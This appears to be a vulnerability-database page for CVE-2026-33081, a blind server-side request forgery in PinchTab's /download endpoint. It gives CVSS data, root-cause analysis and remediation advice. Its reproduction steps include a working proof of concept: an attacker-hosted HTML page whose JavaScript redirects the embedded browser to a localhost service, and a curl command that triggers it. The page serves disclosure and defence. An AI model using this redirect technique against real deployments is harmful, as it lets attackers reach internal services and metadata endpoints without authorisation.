Python
CVE-2026-33081
MEDIUM
GHSA-qwxp-6qf9-wr4m
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
The /download endpoint validates only the initial URL provided by the user using validateDownloadURL() to prevent requests to internal or private network addresses.
Exploitation requires \security.allowDownload=true, which is disabled by default.
However, pages loaded by the embedded Chromium browser can trigger additional browser-side requests (for example, JavaScript redirects, navigations, or resource requests) after the initial validation step.
Because the validation is only applied to the initial URL and not to subsequent browser-issued request targets, an attacker-controlled page can cause the browser to issue requests to internal network services reachable from the PinchTab host.
This results in a blind Server-Side Request Forgery (SSRF) condition in which internal-only services may be accessed and state-changing endpoints may be triggered without returning the response body to the attacker.
Steps to Reproduce:
Environment Setup Target: PinchTab server (tested on v0.8.x, v0.7.x) Attacker-controlled server: Publicly accessible (e.g., via ngrok) attacker.py Internal service: Runs on the same host as PinchTab and is not externally accessible internal_service.py
1. Start a Local Internal Service (Victim Side)
Run a simple HTTP service bound to localhost: internal_service.py
python internal_service.py
#Example behavior of internal_service.py: #Listens on 127.0.0.1:1337 #Exposes endpoint /increment #Increments a counter and logs requests
#Expected output when accessed: #COUNTER INCREMENTED: 1 #COUNTER INCREMENTED: 2
2. Host an Attacker-Controlled Page (Attacker side)
Deploy a malicious HTML page that redirects to the internal service: attacker.py
<html> <body> <script> setTimeout(function(){ window.location = "http://127.0.0.1:1337/increment"; }, 1500); </script> </body> </html> Host this page on a publicly accessible server (e.g., using ngrok): https://fcb8-180-149-93-3.ngrok-free.app
3. Trigger the Vulnerable Endpoint (Attacker side)
Send a request to the PinchTab /download endpoint:
curl "http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app"
If a server token is configured, the request must include valid authentication.
4. Observe Server-Side Request to Localhost
When PinchTab processes the request:
- It launches a headless Chromium instance
- The browser loads the attacker-controlled page
- JavaScript executes within the browser
- The browser redirects to: http://127.0.0.1:1337/increment
5. Verify the Impact
Check the output of internal_service.py: <img width="718" height="156" alt="proof" src="https://github.com/user-attachments/assets/cf00e3e6-71c6-44ae-83b0-ed819f19ee9a" />
COUNTER INCREMENTED: 1 <img width="718" height="282" alt="proof_incremented" src="https://github.com/user-attachments/assets/98281b8e-221b-4e76-a10b-1b2335d08c61" />
This confirms that the request originated from the PinchTab host and that an attacker can successfully access localhost-only internal services via the browser, despite the initial URL validation.
Impact
This vulnerability allows an attacker to bypass the /download URL validation and cause the embedded Chromium browser to make requests to internal network services. By hosting a page that performs a redirect after the initial validation, an attacker can force the browser to access resources such as 127.0.0.1 or other private network addresses reachable from the PinchTab host.
Although the response is not returned to the attacker (blind SSRF), this behavior can still be used to interact with internal services and trigger state-changing endpoints. In environments where sensitive services or cloud metadata endpoints are accessible from the host, this could lead to more serious security impact.
Mitigation
Apply the same URL safety policy to every browser-issued request in the /download flow, not only the initial user-supplied URL, and block requests to loopback, private, link-local, and other non-public network ranges inside the Chromium browser context.
AnalysisAI
PinchTab contains a Server-Side Request Forgery (SSRF) vulnerability in its /download endpoint that allows unauthenticated attackers to bypass URL validation and cause the embedded Chromium browser to make requests to internal network services. The vulnerability affects PinchTab versions 0.7.x and 0.8.x when the security.allowDownload setting is enabled (disabled by default), and exploits a validation gap where only the initial user-supplied URL is checked while subsequent browser-initiated requests (redirects, JavaScript navigations, resource fetches) bypass this protection entirely. Although the attacker cannot receive response bodies from internal services (blind SSRF), they can trigger state-changing endpoints on localhost or private network addresses reachable from the PinchTab host, with a proof-of-concept publicly available demonstrating counter increments on internal services.
Technical ContextAI
The vulnerability exists in the PinchTab download handler (pkg:go/github.com_pinchtab_pinchtab), which relies on a validateDownloadURL() function to filter requests to private and loopback addresses during the initial validation phase. However, this security function operates only once at request intake, before the headless Chromium browser instance is spawned and begins processing the attacker-controlled page. Modern web browsers are designed to execute JavaScript, follow redirects, load resources, and issue fetch requests—all asynchronous operations that occur after the initial page load. The root cause, classified under CWE-918 (Server-Side Request Forgery), stems from incomplete request validation: the application implements network boundary enforcement at the application layer for user input but fails to enforce the same policy at the browser context layer for all outbound requests. This creates a fundamental mismatch between the validation scope and the actual request surface, allowing attackers to use JavaScript or HTML meta-refresh redirects to pivot from an attacker-controlled external domain to internal addresses (127.0.0.1, private RFC 1918 ranges) after validation has already passed.
RemediationAI
Upgrade PinchTab to a patched version released by the project maintainers (check https://github.com/pinchtab/pinchtab/releases for the latest security update). The primary fix involves applying network validation not only to the initial user-supplied URL but to all subsequent requests issued by the Chromium browser context, including redirects, navigations, and resource fetches. Until a patch is available, organizations should disable the security.allowDownload feature entirely (set to false) unless download functionality is absolutely required. If download functionality must remain enabled, implement network-level mitigations by restricting outbound traffic from the PinchTab process to external networks only, blocking all connections to loopback addresses (127.0.0.0/8) and private RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) at the firewall or via Linux network namespace policies (iptables, nftables). Additionally, run PinchTab in a restrictive container or virtual machine with explicit egress policies to prevent the browser from reaching internal services.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today